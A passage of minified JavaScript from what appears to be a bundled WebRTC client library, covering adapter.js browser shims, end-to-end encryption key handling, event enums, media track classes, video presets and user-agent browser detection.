r||Object.defineProperty(r,o,{value:s[o]});return r.toJSON=function(){return{candidate:r.candidate,sdpMid:r.sdpMid,sdpMLineIndex:r.sdpMLineIndex,usernameFragment:r.usernameFragment}},r}return new e(n)},i.RTCIceCandidate.prototype=e.prototype,Fe(i,"icecandidate",t=>(t.candidate&&Object.defineProperty(t,"candidate",{value:new i.RTCIceCandidate(t.candidate),writable:"false"}),t))}function Ni(i){!i.RTCIceCandidate||i.RTCIceCandidate&&"relayProtocol"in i.RTCIceCandidate.prototype||Fe(i,"icecandidate",e=>{if(e.candidate){const t=He.parseCandidate(e.candidate.candidate);t.type==="relay"&&(e.candidate.relayProtocol={0:"tls",1:"tcp",2:"udp"}[t.priority>>24])}return e})}function Ft(i,e){if(!i.RTCPeerConnection)return;"sctp"in i.RTCPeerConnection.prototype||Object.defineProperty(i.RTCPeerConnection.prototype,"sctp",{get(){return typeof this._sctp>"u"?null:this._sctp}});const t=function(a){if(!a||!a.sdp)return!1;const c=He.splitSections(a.sdp);return c.shift(),c.some(d=>{const u=He.parseMLine(d);return u&&u.kind==="application"&&u.protocol.indexOf("SCTP")!==-1})},n=function(a){const c=a.sdp.match(/mozilla...THIS_IS_SDPARTA-(\d+)/);if(c===null||c.length<2)return-1;const d=parseInt(c[1],10);return d!==d?-1:d},r=function(a){let c=65536;return e.browser==="firefox"&&(e.version<57?a===-1?c=16384:c=2147483637:e.version<60?c=e.version===57?65535:65536:c=2147483637),c},s=function(a,c){let d=65536;e.browser==="firefox"&&e.version===57&&(d=65535);const u=He.matchPrefix(a.sdp,"a=max-message-size:");return u.length>0?d=parseInt(u[0].substring(19),10):e.browser==="firefox"&&c!==-1&&(d=2147483637),d},o=i.RTCPeerConnection.prototype.setRemoteDescription;i.RTCPeerConnection.prototype.setRemoteDescription=function(){if(this._sctp=null,e.browser==="chrome"&&e.version>=76){const{sdpSemantics:c}=this.getConfiguration();c==="plan-b"&&Object.defineProperty(this,"sctp",{get(){return typeof this._sctp>"u"?null:this._sctp},enumerable:!0,configurable:!0})}if(t(arguments[0])){const c=n(arguments[0]),d=r(c),u=s(arguments[0],c);let l;d===0&&u===0?l=Number.POSITIVE_INFINITY:d===0||u===0?l=Math.max(d,u):l=Math.min(d,u);const h={};Object.defineProperty(h,"maxMessageSize",{get(){return l}}),this._sctp=h}return o.apply(this,arguments)}}function jt(i){if(!(i.RTCPeerConnection&&"createDataChannel"in i.RTCPeerConnection.prototype))return;function e(n,r){const s=n.send;n.send=function(){const a=arguments[0],c=a.length||a.size||a.byteLength;if(n.readyState==="open"&&r.sctp&&c>r.sctp.maxMessageSize)throw new TypeError("Message too large (can send a maximum of "+r.sctp.maxMessageSize+" bytes)");return s.apply(n,arguments)}}const t=i.RTCPeerConnection.prototype.createDataChannel;i.RTCPeerConnection.prototype.createDataChannel=function(){const r=t.apply(this,arguments);return e(r,this),r},Fe(i,"datachannel",n=>(e(n.channel,n.target),n))}function Li(i){if(!i.RTCPeerConnection||"connectionState"in i.RTCPeerConnection.prototype)return;const e=i.RTCPeerConnection.prototype;Object.defineProperty(e,"connectionState",{get(){return{completed:"connected",checking:"connecting"}[this.iceConnectionState]||this.iceConnectionState},enumerable:!0,configurable:!0}),Object.defineProperty(e,"onconnectionstatechange",{get(){return this._onconnectionstatechange||null},set(t){this._onconnectionstatechange&&(this.removeEventListener("connectionstatechange",this._onconnectionstatechange),delete this._onconnectionstatechange),t&&this.addEventListener("connectionstatechange",this._onconnectionstatechange=t)},enumerable:!0,configurable:!0}),["setLocalDescription","setRemoteDescription"].forEach(t=>{const n=e[t];e[t]=function(){return this._connectionstatechangepoly||(this._connectionstatechangepoly=r=>{const s=r.target;if(s._lastConnectionState!==s.connectionState){s._lastConnectionState=s.connectionState;const o=new Event("connectionstatechange",r);s.dispatchEvent(o)}return r},this.addEventListener("iceconnectionstatechange",this._connectionstatechangepoly)),n.apply(this,arguments)}})}function Ui(i,e){if(!i.RTCPeerConnection||e.browser==="chrome"&&e.version>=71||e.browser==="safari"&&e.version>=605)return;const t=i.RTCPeerConnection.prototype.setRemoteDescription;i.RTCPeerConnection.prototype.setRemoteDescription=function(r){if(r&&r.sdp&&r.sdp.indexOf(`
a=extmap-allow-mixed`)!==-1){const s=r.sdp.split(`
`).filter(o=>o.trim()!=="a=extmap-allow-mixed").join(`
`);i.RTCSessionDescription&&r instanceof i.RTCSessionDescription?arguments[0]=new i.RTCSessionDescription({type:r.type,sdp:s}):r.sdp=s}return t.apply(this,arguments)}}function Bt(i,e){if(!(i.RTCPeerConnection&&i.RTCPeerConnection.prototype))return;const t=i.RTCPeerConnection.prototype.addIceCandidate;!t||t.length===0||(i.RTCPeerConnection.prototype.addIceCandidate=function(){return arguments[0]?(e.browser==="chrome"&&e.version<78||e.browser==="firefox"&&e.version<68||e.browser==="safari")&&arguments[0]&&arguments[0].candidate===""?Promise.resolve():t.apply(this,arguments):(arguments[1]&&arguments[1].apply(null),Promise.resolve())})}function Vt(i,e){if(!(i.RTCPeerConnection&&i.RTCPeerConnection.prototype))return;const t=i.RTCPeerConnection.prototype.setLocalDescription;!t||t.length===0||(i.RTCPeerConnection.prototype.setLocalDescription=function(){let r=arguments[0]||{};if(typeof r!="object"||r.type&&r.sdp)return t.apply(this,arguments);if(r={type:r.type,sdp:r.sdp},!r.type)switch(this.signalingState){case"stable":case"have-local-offer":case"have-remote-pranswer":r.type="offer";break;default:r.type="answer";break}return r.sdp||r.type!=="offer"&&r.type!=="answer"?t.apply(this,[r]):(r.type==="offer"?this.createOffer:this.createAnswer).apply(this).then(o=>t.apply(this,[o]))})}var Fc=Object.freeze({__proto__:null,removeExtmapAllowMixed:Ui,shimAddIceCandidateNullOrEmpty:Bt,shimConnectionState:Li,shimMaxMessageSize:Ft,shimParameterlessSetLocalDescription:Vt,shimRTCIceCandidate:Ut,shimRTCIceCandidateRelayProtocol:Ni,shimSendThrowTypeError:jt});function jc(){let{window:i}=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{shimChrome:!0,shimFirefox:!0,shimSafari:!0};const t=gs,n=Ac(i),r={browserDetails:n,commonShim:Fc,extractVersion:Lt,disableLog:Mc,disableWarnings:Dc,sdp:Uc};switch(n.browser){case"chrome":if(!Gn||!Di||!e.shimChrome)return t("Chrome shim is not included in this adapter release."),r;if(n.version===null)return t("Chrome shim can not determine version, not shimming."),r;t("adapter.js shimming chrome."),r.browserShim=Gn,Bt(i,n),Vt(i),bs(i,n),ys(i),Di(i,n),ks(i),Es(i,n),Ts(i),Ss(i),Cs(i),ws(i,n),Ut(i),Ni(i),Li(i),Ft(i,n),jt(i),Ui(i,n);break;case"firefox":if(!Wn||!Ai||!e.shimFirefox)return t("Firefox shim is not included in this adapter release."),r;t("adapter.js shimming firefox."),r.browserShim=Wn,Bt(i,n),Vt(i),Rs(i,n),Ai(i,n),_s(i),xs(i),Is(i),Os(i),Ms(i),Ds(i),As(i),Ns(i),Ls(i),Ut(i),Li(i),Ft(i,n),jt(i);break;case"safari":if(!zn||!e.shimSafari)return t("Safari shim is not included in this adapter release."),r;t("adapter.js shimming safari."),r.browserShim=zn,Bt(i,n),Vt(i),qs(i),Gs(i),js(i),Us(i),Fs(i),Ks(i),Bs(i),Ws(i),Ut(i),Ni(i),Ft(i,n),jt(i),Ui(i,n);break;default:t("Unsupported browser!");break}return r}jc({window:typeof window>"u"?void 0:window});const Bc=10,_t="lk_e2ee",Vc="LKFrameEncryptionKey",qc={sharedKey:!1,ratchetSalt:Vc,ratchetWindowSize:8,failureTolerance:Bc,keyringSize:16};var xe;(function(i){i.SetKey="setKey",i.RatchetRequest="ratchetRequest",i.KeyRatcheted="keyRatcheted"})(xe||(xe={}));var Hn;(function(i){i.KeyRatcheted="keyRatcheted"})(Hn||(Hn={}));var Oe;(function(i){i.ParticipantEncryptionStatusChanged="participantEncryptionStatusChanged",i.EncryptionError="encryptionError"})(Oe||(Oe={}));var Jn;(function(i){i.Error="cryptorError"})(Jn||(Jn={}));function Kc(){return Gc()||Fi()}function Fi(){return typeof window.RTCRtpScriptTransform<"u"}function Gc(){return typeof window.RTCRtpSender<"u"&&typeof window.RTCRtpSender.prototype.createEncodedStreams<"u"}function Wc(i){return p(this,void 0,void 0,function*(){let e=new TextEncoder;return yield crypto.subtle.importKey("raw",e.encode(i),{name:"PBKDF2"},!1,["deriveBits","deriveKey"])})}function zc(i){return p(this,void 0,void 0,function*(){return yield crypto.subtle.importKey("raw",i,"HKDF",!1,["deriveBits","deriveKey"])})}class Hc extends ve.EventEmitter{constructor(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};super(),this.onKeyRatcheted=(t,n)=>{M.debug("key ratcheted event received",{material:t,keyIndex:n})},this.keyInfoMap=new Map,this.options=Object.assign(Object.assign({},qc),e),this.on(xe.KeyRatcheted,this.onKeyRatcheted)}onSetEncryptionKey(e,t,n){const r={key:e,participantIdentity:t,keyIndex:n};if(!this.options.sharedKey&&!t)throw new Error("participant identity needs to be passed for encryption key if sharedKey option is false");this.keyInfoMap.set("".concat(t??"shared","-").concat(n??0),r),this.emit(xe.SetKey,r)}getKeys(){return Array.from(this.keyInfoMap.values())}getOptions(){return this.options}ratchetKey(e,t){this.emit(xe.RatchetRequest,e,t)}}class Zl extends Hc{constructor(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{};const t=Object.assign(Object.assign({},e),{sharedKey:!0,ratchetWindowSize:0,failureTolerance:-1});super(t)}setKey(e){return p(this,void 0,void 0,function*(){const t=typeof e=="string"?yield Wc(e):yield zc(e);this.onSetEncryptionKey(t)})}}class Ze extends Error{constructor(e,t){super(t||"an error has occured"),this.code=e}}class j extends Ze{constructor(e,t,n){super(1,e),this.status=n,this.reason=t}}class un extends Ze{constructor(e){super(21,e??"device is unsupported")}}class ge extends Ze{constructor(e){super(20,e??"track is invalid")}}class Jc extends Ze{constructor(e){super(10,e??"unsupported server")}}class W extends Ze{constructor(e){super(12,e??"unexpected connection state")}}class ji extends Ze{constructor(e){super(13,e??"unable to negotiate")}}var bt;(function(i){i.PermissionDenied="PermissionDenied",i.NotFound="NotFound",i.DeviceInUse="DeviceInUse",i.Other="Other"})(bt||(bt={}));(function(i){function e(t){if(t&&"name"in t)return t.name==="NotFoundError"||t.name==="DevicesNotFoundError"?i.NotFound:t.name==="NotAllowedError"||t.name==="PermissionDeniedError"?i.PermissionDenied:t.name==="NotReadableError"||t.name==="TrackStartError"?i.DeviceInUse:i.Other}i.getFailure=e})(bt||(bt={}));var k;(function(i){i.Connected="connected",i.Reconnecting="reconnecting",i.SignalReconnecting="signalReconnecting",i.Reconnected="reconnected",i.Disconnected="disconnected",i.ConnectionStateChanged="connectionStateChanged",i.MediaDevicesChanged="mediaDevicesChanged",i.ParticipantConnected="participantConnected",i.ParticipantDisconnected="participantDisconnected",i.TrackPublished="trackPublished",i.TrackSubscribed="trackSubscribed",i.TrackSubscriptionFailed="trackSubscriptionFailed",i.TrackUnpublished="trackUnpublished",i.TrackUnsubscribed="trackUnsubscribed",i.TrackMuted="trackMuted",i.TrackUnmuted="trackUnmuted",i.LocalTrackPublished="localTrackPublished",i.LocalTrackUnpublished="localTrackUnpublished",i.LocalAudioSilenceDetected="localAudioSilenceDetected",i.ActiveSpeakersChanged="activeSpeakersChanged",i.ParticipantMetadataChanged="participantMetadataChanged",i.ParticipantNameChanged="participantNameChanged",i.RoomMetadataChanged="roomMetadataChanged",i.DataReceived="dataReceived",i.SipDTMFReceived="sipDTMFReceived",i.TranscriptionReceived="transcriptionReceived",i.ConnectionQualityChanged="connectionQualityChanged",i.TrackStreamStateChanged="trackStreamStateChanged",i.TrackSubscriptionPermissionChanged="trackSubscriptionPermissionChanged",i.TrackSubscriptionStatusChanged="trackSubscriptionStatusChanged",i.AudioPlaybackStatusChanged="audioPlaybackChanged",i.VideoPlaybackStatusChanged="videoPlaybackChanged",i.MediaDevicesError="mediaDevicesError",i.ParticipantPermissionsChanged="participantPermissionsChanged",i.SignalConnected="signalConnected",i.RecordingStatusChanged="recordingStatusChanged",i.ParticipantEncryptionStatusChanged="participantEncryptionStatusChanged",i.EncryptionError="encryptionError",i.DCBufferStatusChanged="dcBufferStatusChanged",i.ActiveDeviceChanged="activeDeviceChanged"})(k||(k={}));var C;(function(i){i.TrackPublished="trackPublished",i.TrackSubscribed="trackSubscribed",i.TrackSubscriptionFailed="trackSubscriptionFailed",i.TrackUnpublished="trackUnpublished",i.TrackUnsubscribed="trackUnsubscribed",i.TrackMuted="trackMuted",i.TrackUnmuted="trackUnmuted",i.LocalTrackPublished="localTrackPublished",i.LocalTrackUnpublished="localTrackUnpublished",i.ParticipantMetadataChanged="participantMetadataChanged",i.ParticipantNameChanged="participantNameChanged",i.DataReceived="dataReceived",i.SipDTMFReceived="sipDTMFReceived",i.TranscriptionReceived="transcriptionReceived",i.IsSpeakingChanged="isSpeakingChanged",i.ConnectionQualityChanged="connectionQualityChanged",i.TrackStreamStateChanged="trackStreamStateChanged",i.TrackSubscriptionPermissionChanged="trackSubscriptionPermissionChanged",i.TrackSubscriptionStatusChanged="trackSubscriptionStatusChanged",i.MediaDevicesError="mediaDevicesError",i.AudioStreamAcquired="audioStreamAcquired",i.ParticipantPermissionsChanged="participantPermissionsChanged",i.PCTrackAdded="pcTrackAdded"})(C||(C={}));var E;(function(i){i.TransportsCreated="transportsCreated",i.Connected="connected",i.Disconnected="disconnected",i.Resuming="resuming",i.Resumed="resumed",i.Restarting="restarting",i.Restarted="restarted",i.SignalResumed="signalResumed",i.SignalRestarted="signalRestarted",i.Closing="closing",i.MediaTrackAdded="mediaTrackAdded",i.ActiveSpeakersUpdate="activeSpeakersUpdate",i.DataPacketReceived="dataPacketReceived",i.RTPVideoMapUpdate="rtpVideoMapUpdate",i.DCBufferStatusChanged="dcBufferStatusChanged",i.ParticipantUpdate="participantUpdate",i.RoomUpdate="roomUpdate",i.SpeakersChanged="speakersChanged",i.StreamStateChanged="streamStateChanged",i.ConnectionQualityUpdate="connectionQualityUpdate",i.SubscriptionError="subscriptionError",i.SubscriptionPermissionUpdate="subscriptionPermissionUpdate",i.RemoteMute="remoteMute",i.SubscribedQualityUpdate="subscribedQualityUpdate",i.LocalTrackUnpublished="localTrackUnpublished",i.Offline="offline"})(E||(E={}));var P;(function(i){i.Message="message",i.Muted="muted",i.Unmuted="unmuted",i.Restarted="restarted",i.Ended="ended",i.Subscribed="subscribed",i.Unsubscribed="unsubscribed",i.UpdateSettings="updateSettings",i.UpdateSubscription="updateSubscription",i.AudioPlaybackStarted="audioPlaybackStarted",i.AudioPlaybackFailed="audioPlaybackFailed",i.AudioSilenceDetected="audioSilenceDetected",i.VisibilityChanged="visibilityChanged",i.VideoDimensionsChanged="videoDimensionsChanged",i.VideoPlaybackStarted="videoPlaybackStarted",i.VideoPlaybackFailed="videoPlaybackFailed",i.ElementAttached="elementAttached",i.ElementDetached="elementDetached",i.UpstreamPaused="upstreamPaused",i.UpstreamResumed="upstreamResumed",i.SubscriptionPermissionChanged="subscriptionPermissionChanged",i.SubscriptionStatusChanged="subscriptionStatusChanged",i.SubscriptionFailed="subscriptionFailed",i.TrackProcessorUpdate="trackProcessorUpdate",i.AudioTrackFeatureUpdate="audioTrackFeatureUpdate",i.TranscriptionReceived="transcriptionReceived",i.TimeSyncUpdate="timeSyncUpdate"})(P||(P={}));function ln(i,e,t){var n,r,s;e===void 0&&(e=50),t===void 0&&(t={});var o=(n=t.isImmediate)!=null&&n,a=(r=t.callback)!=null&&r,c=t.maxWait,d=Date.now(),u=[];function l(){if(c!==void 0){var f=Date.now()-d;if(f+e>=c)return c-f}return e}var h=function(){var f=[].slice.call(arguments),v=this;return new Promise(function(g,b){var m=o&&s===void 0;if(s!==void 0&&clearTimeout(s),s=setTimeout(function(){if(s=void 0,d=Date.now(),!o){var I=i.apply(v,f);a&&a(I),u.forEach(function(x){return(0,x.resolve)(I)}),u=[]}},l()),m){var R=i.apply(v,f);return a&&a(R),g(R)}u.push({resolve:g,reject:b})})};return h.cancel=function(f){s!==void 0&&clearTimeout(s),u.forEach(function(v){return(0,v.reject)(f)}),u=[]},h}const Qc=/version\/(\d+(\.?_?\d+)+)/i;let di;function Pe(i){let e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:!0;if(typeof navigator>"u")return;const t=navigator.userAgent.toLowerCase();if(di===void 0||e){const n=$c.find(r=>{let{test:s}=r;return s.test(t)});di=n==null?void 0:n.describe(t)}return di}const $c=[{test:/firefox|iceweasel|fxios/i,describe(i){return{name:"Firefox",version:qt(/(?:firefox|iceweasel|fxios)[\s/](\d+(\.?_?\d+)+)/i,i),os:i.toLowerCase().includes("fxios")?"iOS":void 0,osVersion:ui(i)}}},{test:/chrom|crios|crmo/i,describe(i){return{name:"Chrome",version:qt(/(?:chrome|chromium|crios|crmo)\/(\d+(\.?_?\d+)+)/i,i),os:i.toLowerCase().includes("crios")?"iOS":void 0,osVersion:ui(i)}}},{test:/safari|applewebkit/i,describe(i){return{name:"Safari",version:qt(Qc,i),os:i.includes("mobile/")?"iOS":"macOS",osVersion:ui(i)}}}];function qt(i,e){let t=arguments.length>2&&arguments[2]!==void 0?arguments[2]:1;const n=e.match(i);return n&&n.length>=t&&n[t]||""}function ui(i){return i.includes("mac os")?qt(/\(.+?(\d+_\d+(:?_\d+)?)/,i,1).replace(/_/g,"."):void 0}var Yc="2.3.1";const Xc=Yc,Zc=13;class Q{}Q.setTimeout=function(){return setTimeout(...arguments)};Q.setInterval=function(){return setInterval(...arguments)};Q.clearTimeout=function(){return clearTimeout(...arguments)};Q.clearInterval=function(){return clearInterval(...arguments)};class L{constructor(e,t,n,r,s){if(typeof e=="object")this.width=e.width,this.height=e.height,this.aspectRatio=e.aspectRatio,this.encoding={maxBitrate:e.maxBitrate,maxFramerate:e.maxFramerate,priority:e.priority};else if(t!==void 0&&n!==void 0)this.width=e,this.height=t,this.aspectRatio=e/t,this.encoding={maxBitrate:n,maxFramerate:r,priority:s};else throw new TypeError("Unsupported options: provide at least width, height and maxBitrate")}get resolution(){return{width:this.width,height:this.height,frameRate:this.encoding.maxFramerate,aspectRatio:this.aspectRatio}}}const ed=["vp8","h264"],Js=["vp8","h264","vp9","av1"];function td(i){return!!ed.find(e=>e===i)}var Bi;(function(i){i.telephone={maxBitrate:12e3},i.speech={maxBitrate:2e4},i.music={maxBitrate:32e3},i.musicStereo={maxBitrate:48e3},i.musicHighQuality={maxBitrate:64e3},i.musicHighQualityStereo={maxBitrate:96e3}})(Bi||(Bi={}));const yt={h90:new L(160,90,9e4,20),h180:new L(320,180,16e4,20),h216:new L(384,216,18e4,20),h360:new L(640,360,45e4,20),h540:new L(960,540,8e5,25),h720:new L(1280,720,17e5,30),h1080:new L(1920,1080,3e6,30),h1440:new L(2560,1440,5e6,30),h2160:new L(3840,2160,8e6,30)},Vi={h120:new L(160,120,7e4,20),h180:new L(240,180,125e3,20),h240:new L(320,240,14e4,20),h360:new L(480,360,33e4,20),h480:new L(640,480,5e5,20),h540:new L(720,540,6e5,25),h720:new L(960,720,13e5,30),h1080:new L(1440,1080,23e5,30),h1440:new L(1920,1440,38e5,30)},hn={h360fps3:new L(640,360,2e5,3,"medium"),h360fps15:new L(640,360,4e5,15,"medium"),h720fps5:new L(1280,720,8e5,5,"medium"),h720fps15:new L(1280,720,15e5,15,"medium"),h720fps30:new L(1280,720,2e6,30,"medium"),h1080fps15:new L(1920,1080,25e5,15,"medium"),h1080fps30:new L(1920,1080,5e6,30,"medium"),original:new L(0,0,7e6,30,"medium")};function id(i){if(!(typeof i>"u"))return typeof structuredClone=="function"?structuredClone(i):JSON.parse(JSON.stringify(i))}const nd=5e3,rt=[];var se;(function(i){i[i.LOW=0]="LOW",i[i.MEDIUM=1]="MEDIUM",i[i.HIGH=2]="HIGH"})(se||(se={}));class y extends ve.EventEmitter{constructor(e,t){let n=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{};var r;super(),this.attachedElements=[],this.isMuted=!1,this.streamState=y.StreamState.Active,this.isInBackground=!1,this._currentBitrate=0,this.log=M,this.appVisibilityChangedListener=()=>{this.backgroundTimeout&&clearTimeout(this.backgroundTimeout),document.visibilityState==="hidden"?this.backgroundTimeout=setTimeout(()=>this.handleAppVisibilityChanged(),nd):this.handleAppVisibilityChanged()},this.log=Ce((r=n.loggerName)!==null&&r!==void 0?r:he.Track),this.loggerContextCb=n.loggerContextCb,this.setMaxListeners(100),this.kind=t,this._mediaStreamTrack=e,this._mediaStreamID=e.id,this.source=y.Source.Unknown}get logContext(){var e;return Object.assign(Object.assign({},(e=this.loggerContextCb)===null||e===void 0?void 0:e.call(this)),F(this))}get currentBitrate(){return this._currentBitrate}get mediaStreamTrack(){return this._mediaStreamTrack}get mediaStreamID(){return this._mediaStreamID}attach(e){let t="audio";this.kind===y.Kind.Video&&(t="video"),this.attachedElements.length===0&&y.Kind.Video&&this.addAppVisibilityListener(),e||(t==="audio"&&(rt.forEach(s=>{s.parentElement===null&&!e&&(e=s)}),e&&rt.splice(rt.indexOf(e),1)),e||(e=document.createElement(t))),this.attachedElements.includes(e)||this.attachedElements.push(e),Ge(this.mediaStreamTrack,e);const n=e.srcObject.getTracks(),r=n.some(s=>s.kind==="audio");return e.play().then(()=>{this.emit(r?P.AudioPlaybackStarted:P.VideoPlaybackStarted)}).catch(s=>{s.name==="NotAllowedError"?this.emit(r?P.AudioPlaybackFailed:P.VideoPlaybackFailed,s):s.name==="AbortError"?M.debug("".concat(r?"audio":"video"," playback aborted, likely due to new play request")):M.warn("could not playback ".concat(r?"audio":"video"),s),r&&e&&n.some(o=>o.kind==="video")&&s.name==="NotAllowedError"&&(e.muted=!0,e.play().catch(()=>{}))}),this.emit(P.ElementAttached,e),e}detach(e){try{if(e){Je(this.mediaStreamTrack,e);const n=this.attachedElements.indexOf(e);return n>=0&&(this.attachedElements.splice(n,1),this.recycleElement(e),this.emit(P.ElementDetached,e)),e}const t=[];return this.attachedElements.forEach(n=>{Je(this.mediaStreamTrack,n),t.push(n),this.recycleElement(n),this.emit(P.ElementDetached,n)}),this.attachedElements=[],t}finally{this.attachedElements.length===0&&this.removeAppVisibilityListener()}}stop(){this.stopMonitor(),this._mediaStreamTrack.stop()}enable(){this._mediaStreamTrack.enabled=!0}disable(){this._mediaStreamTrack.enabled=!1}stopMonitor(){this.monitorInterval&&clearInterval(this.monitorInterval),this.timeSyncHandle&&cancelAnimationFrame(this.timeSyncHandle)}updateLoggerOptions(e){e.loggerName&&(this.log=Ce(e.loggerName)),e.loggerContextCb&&(this.loggerContextCb=e.loggerContextCb)}recycleElement(e){if(e instanceof HTMLAudioElement){let t=!0;e.pause(),rt.forEach(n=>{n.parentElement||(t=!1)}),t&&rt.push(e)}}handleAppVisibilityChanged(){return p(this,void 0,void 0,function*(){this.isInBackground=document.visibilityState==="hidden",!this.isInBackground&&this.kind===y.Kind.Video&&setTimeout(()=>this.attachedElements.forEach(e=>e.play().catch(()=>{})),0)})}addAppVisibilityListener(){ne()?(this.isInBackground=document.visibilityState==="hidden",document.addEventListener("visibilitychange",this.appVisibilityChangedListener)):this.isInBackground=!1}removeAppVisibilityListener(){ne()&&document.removeEventListener("visibilitychange",this.appVisibilityChangedListener)}}function Ge(i,e){let t;e.srcObject instanceof MediaStream?t=e.srcObject:t=new MediaStream;let n;i.kind==="audio"?n=t.getAudioTracks():n=t.getVideoTracks(),n.includes(i)||(n.forEach(r=>{t.removeTrack(r)}),t.addTrack(i)),(!Ue()||!(e instanceof HTMLVideoElement))&&(e.autoplay=!0),e.muted=t.getAudioTracks().length===0,e instanceof HTMLVideoElement&&(e.playsInline=!0),e.srcObject!==t&&(e.srcObject=t,(Ue()||Xe())&&e instanceof HTMLVideoElement&&setTimeout(()=>{e.srcObject=t,e.play().catch(()=>{})},0))}function Je(i,e){if(e.srcObject instanceof MediaStream){const t=e.srcObject;t.removeTrack(i),t.getTracks().length>0?e.srcObject=t:e.srcObject=null}}(function(i){let e;(function(d){d.Audio="audio",d.Video="video",d.Unknown="unknown"})(e=i.Kind||(i.Kind={}));let t;(function(d){d.Camera="camera",d.Microphone="microphone",d.ScreenShare="screen_share",d.ScreenShareAudio="screen_share_audio",d.Unknown="unknown"})(t=i.Source||(i.Source={}));let n;(function(d){d.Active="active",d.Paused="paused",d.Unknown="unknown"})(n=i.StreamState||(i.StreamState={}));function r(d){switch(d){case e.Audio:return ue.AUDIO;case e.Video:return ue.VIDEO;default:return ue.DATA}}i.kindToProto=r;function s(d){switch(d){case ue.AUDIO:return e.Audio;case ue.VIDEO:return e.Video;default:return e.Unknown}}i.kindFromProto=s;function o(d){switch(d){case t.Camera:return $.CAMERA;case t.Microphone:return $.MICROPHONE;case t.ScreenShare:return $.SCREEN_SHARE;case t.ScreenShareAudio:return $.SCREEN_SHARE_AUDIO;default:return $.UNKNOWN}}i.sourceToProto=o;function a(d){switch(d){case $.CAMERA:return t.Camera;case $.MICROPHONE:return t.Microphone;case $.SCREEN_SHARE:return t.ScreenShare;case $.SCREEN_SHARE_AUDIO:return t.ScreenShareAudio;default:return t.Unknown}}i.sourceFromProto=a;function c(d){switch(d){case _i.ACTIVE:return n.Active;case _i.PAUSED:return n.Paused;default:return n.Unknown}}i.streamStateFromProto=c})(y||(y={}));function Qs(i,e,t){var n;const r=(n=id(i))!==null&&n!==void 0?n:{};return r.audio===!0&&(r.audio={}),r.video===!0&&(r.video={}),r.audio&&qi(r.audio,e),r.video&&qi(r.video,t),r}function qi(i,e){return Object.keys(e).forEach(t=>{i[t]===void 0&&(i[t]=e[t])}),i}function ii(i){const e={};if(i.video)if(typeof i.video=="object"){const t={},n=t,r=i.video;Object.keys(r).forEach(s=>{switch(s){case"resolution":qi(n,r.resolution);break;default:n[s]=r[s]}}),e.video=t}else e.video=i.video;else e.video=!1;return i.audio?typeof i.audio=="object"?e.audio=i.audio:e.audio=!0:e.audio=!1,e}function rd(i){return p(this,arguments,void 0,function(e){let t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:200;return function*(){const n=fn();if(n){const r=n.createAnalyser();r.fftSize=2048;const s=r.frequencyBinCount,o=new Uint8Array(s);n.createMediaStreamSource(new MediaStream([e.mediaStreamTrack])).connect(r),yield Te(t),r.getByteTimeDomainData(o);const c=o.some(d=>d!==128&&d!==0);return n.close(),!c}return!1}()})}function fn(){const i=typeof window<"u"&&(window.AudioContext||window.webkitAudioContext);if(i)return new i({latencyHint:"interactive"})}function sd(i){return i===y.Source.Microphone?"audioinput":i===y.Source.Camera?"videoinput":void 0}function od(i){var e,t;let n=(e=i.video)!==null&&e!==void 0?e:!0;return i.resolution&&i.resolution.width>0&&i.resolution.height>0&&(n=typeof n=="boolean"?{}:n,Ue()?n=Object.assign(Object.assign({},n),{width:{max:i.resolution.width},height:{max:i.resolution.height},frameRate:i.resolution.frameRate}):n=Object.assign(Object.assign({},n),{width:{ideal:i.resolution.width},height:{ideal:i.resolution.height},frameRate:i.resolution.frameRate})),{audio:(t=i.audio)!==null&&t!==void 0?t:!1,video:n,controller:i.controller,selfBrowserSurface:i.selfBrowserSurface,surfaceSwitching:i.surfaceSwitching,systemAudio:i.systemAudio,preferCurrentTab:i.preferCurrentTab}}function $s(i){const e=i.split("/")[1].toLowerCase();if(!Js.includes(e))throw Error("Video codec not supported: ".concat(e));return e}function ad(i){const e=[];return i.forEach(t=>{t.track!==void 0&&e.push(new on({cid:t.track.mediaStreamID,track:t.trackInfo}))}),e}function F(i){return i instanceof y?{trackID:i.sid,source:i.source,muted:i.isMuted,enabled:i.mediaStreamTrack.enabled,kind:i.kind,streamID:i.mediaStreamID,streamTrackID:i.mediaStreamTrack.id}:{trackID:i.trackSid,enabled:i.isEnabled,muted:i.isMuted,trackInfo:Object.assign({mimeType:i.mimeType,name:i.trackName,encrypted:i.isEncrypted,kind:i.kind,source:i.source},i.track?F(i.track):{})}}function cd(){return typeof RTCRtpReceiver<"u"&&"getSynchronizationSources"in RTCRtpReceiver}const dd="|",Qn="https://aomediacodec.github.io/av1-rtp-spec/#dependency-descriptor-rtp-header-extension";function ud(i){const e=i.split(dd);return e.length>1?[e[0],i.substr(e[0].length+1)]:[i,""]}function Te(i){return p(this,void 0,void 0,function*(){return new Promise(e=>Q.setTimeout(e,i))})}function Ki(){return"addTransceiver"in RTCPeerConnection.prototype}function Gi(){return"addTrack"in RTCPeerConnection.prototype}function ld(){if(!("getCapabilities"in RTCRtpSender)||Ue())return!1;const i=RTCRtpSender.getCapabilities("video");let e=!1;if(i){for(const t of i.codecs)if(t.mimeType==="video/AV1"){e=!0;break}}return e}function hd(){if(!("getCapabilities"in RTCRtpSender)||Xe())return!1;if(Ue()){const t=Pe();if(t!=null&&t.version&&kt(t.version,"16")<0)return!1}const i=RTCRtpSender.getCapabilities("video");let e=!1;if(i){for(const t of i.codecs)if(t.mimeType==="video/VP9"){e=!0;break}}return e}function ft(i){return i==="av1"||i==="vp9"}function Wi(i){return document?(i||(i=document.createElement("audio")),"setSinkId"in i):!1}function fd(){return typeof RTCPeerConnection>"u"?!1:Ki()||Gi()}function Xe(){var i;return((i=Pe())===null||i===void 0?void 0:i.name)==="Firefox"}function Ue(){var i;return((i=Pe())===null||i===void 0?void 0:i.name)==="Safari"}function pd(){const i=Pe();return(i==null?void 0:i.name)==="Safari"&&i.version.startsWith("17.")}function Ys(){var i,e;return ne()?(e=(i=navigator.userAgentData)===null||i===void 0?void 0:i.mobile)!==null&&e!==void 0?e:/Tablet|iPad|Mobile|Android|BlackBerry/.test(navigator.userAgent):!1}function md(){const i=Pe(),e="17.2";if(i)return 